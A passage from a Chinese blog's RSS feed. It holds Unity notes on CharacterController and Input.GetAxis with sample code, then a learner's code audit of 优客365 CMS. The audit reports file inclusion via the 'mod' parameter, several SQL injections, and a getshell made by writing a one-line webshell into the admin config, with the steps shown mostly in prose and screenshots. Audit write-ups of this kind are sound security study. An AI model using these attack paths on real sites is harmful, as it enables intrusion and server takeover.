<p>最小移动距离，默认是 0.001，也就是 1 毫米。<br />如果该数值调大，但<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>中单位移动速度很慢，角色就不会动。</p>
<ol>
<li>Center/Radius/Height</li>
</ol>
<p>角色控制器组件在 Scene 面板中体现为一个“胶囊碰撞器”的形状。<br />Center：控制中心点的位置；<br />Radius：控制半径；<br />Height：控制高度。</p>
<blockquote><p>小技巧：在 Game 面板将 Gizmos 设置为选中状态，可以在运行状态看到组<br />件的图标，方便运行过程中对组件进行调试。</p></blockquote>
<h2>方法</h2>
<pre><code>void OnControllerColliderHit(ControllerColliderHit hit){
    Debug.Log (hit.gameObject.name);
}
</code></pre>
<h1>Apply Root Motion</h1>
<p>勾选上之后，如果动画有位移，则真的发生位移。</p>
<h1>动画过渡延迟</h1>
<p>把过渡线上的Has Exit Time勾掉即可马上过渡。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unity3D之float Input.GetAxis(string axisname)</title>
		<link>/code/383.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Mar 2018 11:07:19 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[笔记]]></category>
		<guid isPermaLink="false">/?p=306</guid>

					<description><![CDATA[从像这样的脚本，可以查询当前状态： value = Input.GetAxis (&#34;Horizontal&#34;);一个轴具有-1和1之间的值。中间位置为0。这种情况...]]></description>
										<content:encoded><![CDATA[<p>从像这样的脚本，可以查询当前状态：</p>
<p><code>value = Input.GetAxis (&quot;Horizontal&quot;);</code><br />一个轴具有-1和1之间的值。中间位置为0。这种情况用于操纵杆输入和键盘输入。</p>
<p>然而，鼠标增量和Window Shake增量是鼠标或窗口从上一帧到现在的移动。这意思是当用户快速移动鼠标时，它可能大于1或小于-1。</p>
<p>参数内容如下:</p>
<p>1.触屏类：</p>
<p>MouseX       鼠标按着并沿着屏幕X轴方向滑动时触发</p>
<p>MouseY       鼠标按着并沿着屏幕Y轴方向滑动时触发</p>
<p>Mouse ScrollWheel      当鼠标滚动轮滚动时触发</p>
<p>2.键盘操作类：</p>
<p>1.Vertical      对应键盘上面的上下箭头，当按下上或下箭头时触发</p>
<p>2.Horizontal    对应键盘上面的左右箭头，当按下左或右箭头时触发</p>
<pre><code>    using UnityEngine;
    using System.Collections;
    public class example :Monobehaviour {
        public float speed = 10.0F;
        public float rotationSpeed = 100.0F;
        void Update() {
            float translation = Input.GetAxis(&quot;Vertical&quot;) * speed;
            float rotation = Input.GetAxis(&quot;Horizontal&quot;) * rotationSpeed;
            translation *= Time.deltaTime;
            rotation *= Time.deltaTime;
            transform.Translate(0, 0, translation);
            transform.Rotate(0, rotation, 0);
        }
    }</code></pre>
<pre><code>// A very simplistic car driving on the x-z plane.
// 一个十分简单的在x-z平面的驾车例子
var speed : float = 10.0;
var rotationSpeed : float = 100.0;
function Update () {
    // Get the horizontal and vertical axis.
    //获取横向和纵向坐标轴
    // By default they are mapped to the arrow keys.
    //默认情况下他们关联到方向键上
    // The value is in the range -1 to 1
    //值的范围是在-1到1之间
    var translation : float = Input.GetAxis (&quot;Vertical&quot;) * speed;
    var rotation : float = Input.GetAxis (&quot;Horizontal&quot;) * rotationSpeed;
    // Make it move 10 meters per second instead of 10 meters per frame...
    // 使它每帧移动10米变为每秒移动10米...
    translation *= Time.deltaTime;
    rotation *= Time.deltaTime;
    // Move translation along the object's z-axis
    //沿着z轴平移对象
    transform.Translate (0, 0, translation);
    // Rotate around our y-axis
    //以我们的y轴为中心旋转</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>对优客365CMS的一次审计</title>
		<link>/audit/382.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 21 Mar 2018 14:12:00 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[优客]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=291</guid>

					<description><![CDATA[核心小可爱的文章 先看一下目录结构 Data --- 应该为缓存之类的 Install--- 安装目录 Member--- 用户目录 Module--- 模型 Public--- ...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="http://www.cnblogs.com/Syst1m/p/8619202.html">核心小可爱的文章</a></p></blockquote>
<p>先看一下目录结构</p>
<pre><code>Data ---  应该为缓存之类的
Install--- 安装目录
Member---  用户目录
Module---  模型
Public---   公用
Source---    未看
System---  后台
Themes---   主题
Config.php  配置
Dir.sql 安装时所需的数据库文件
Index.php  入口文件
Test.php  </code></pre>
<h1>TEST.php</h1>
<p>不知道这个test.php到底是干什么的，然后我打开它执行一下它里面的语句，是把导航查询出来然后以数组的形式进行输出，感觉没什么用，先放着<br /><img src="/wp-content/uploads/2018/03/30794699.png" alt="1.png" title="1.png"><br />Config.php主要对数据库进行了配置</p>
<p>然后看一下index.php  </p>
<p>把其中必要重要的东西记录一下：</p>
<p><code>define('ROOT_PATH', str_replace('\\', '/', dirname(__FILE__)).'/');</code></p>
<p>定义常量，根目录，文件目录部分的\替换为/</p>
<p><code>define('CORE_PATH', ROOT_PATH.'source/'); source目录</code></p>
<p><code>define('MOD_PATH', ROOT_PATH.'module/');  module目录</code></p>
<p>任意文件包含</p>
<p>在index.php中有这么一段</p>
<p><code>$module = $_GET['mod'] ? $_GET['mod'] : $_POST['mod'];</code></p>
<p>然后在浏览器中可以看到例如用户注册 URL为 <code>http://localhost/member/?mod=register</code></p>
<p>Mod=模型名，这样就很容易理解他的逻辑了</p>
<p>然后我跟随逻辑一个一个进行查看。</p>
<p>如果我在 module目录新建一个phpinfo()的文件，名字为phpinfo呢<br /><img src="/wp-content/uploads/2018/03/1619577770.png" alt="2.png" title="2.png"><br />可以看到phpinfo出来了，他并没有判断里面的内容和用户，而是存在就在后面添加.php执行，那麽我把内容改为一话呢？但是怎么让他存在这个文件就是个令人深思的问题喽。<br /><img src="/wp-content/uploads/2018/03/854276452.png" alt="3.png" title="3.png"><br />然后我直接在URL修改模块名字，一个一个分析。</p>
<p>Api.php中看到了intval ，这个函数是把用户的输入转换为整数，一般来说这种就不存在注入问题了。</p>
<p>很多表单限制字数  maxlength=&#8221;20&#8243;修改即可</p>
<h1>Login.php</h1>
<p><img src="/wp-content/uploads/2018/03/2120581793.png" alt="4.png" title="4.png"><br />表单提交用户名密码trim消除空格无视导致用户登陆处SQL注入一枚<br /><img src="/wp-content/uploads/2018/03/55800046.png" alt="5.png" title="5.png"><br />既然用户登陆处存在SQL注入，那麽来看一下管理员<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>处<br /><img src="/wp-content/uploads/2018/03/3218081676.png" alt="6.png" title="6.png"><br />使用到了htmLspecialchars函数过滤了提交的用户名密码，但是大家知道这个函数他是过滤XSS的，那麽对SQL注入有关系吗？SQL注入一枚<br /><img src="/wp-content/uploads/2018/03/3943527753.png" alt="7.png" title="7.png"><br />同样的在用户注册也用了trim，但是后端限制了字数</p>
<p>后台添加用户用的和前台一样的方法，SQL一枚<br /><img src="/wp-content/uploads/2018/03/2496812281.png" alt="8.png" title="8.png"><br />添加广告<br /><img src="/wp-content/uploads/2018/03/3656862461.png" alt="9.png" title="9.png"><br />Keywords 把Post的 过滤 。如果没有POST的就使用 GET过来的，但是GET过来的没有过滤<br /><img src="/wp-content/uploads/2018/03/3680706693.png" alt="10.png" title="10.png"><br />不得不说到处都是SQL注入。。。</p>
<h1>后台GETshell</h1>
<p><img src="/wp-content/uploads/2018/03/137737700.png" alt="11.png" title="11.png"><br />这里倒是加上过滤了，可是好像驴头不对马嘴<br /><img src="/wp-content/uploads/2018/03/2589525363.png" alt="14.png" title="14.png"></p>
<p>直接将修改的内容写入配置，我在修改配置时<br /><img src="/wp-content/uploads/2018/03/2899385963.png" alt="12.png" title="12.png"><br />页面版权加入一句话木马，然后GETSHELL。<br /><img src="/wp-content/uploads/2018/03/1118501380.png" alt="13.png" title="13.png"><br />这套源码确实挺适合我们小白学习<span class="wpcom_tag_link"><a href="/tags/%e5%ae%a1%e8%ae%a1" title="审计" target="_blank">审计</a></span>的，应该还有很多洞没有看，实践出真知。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
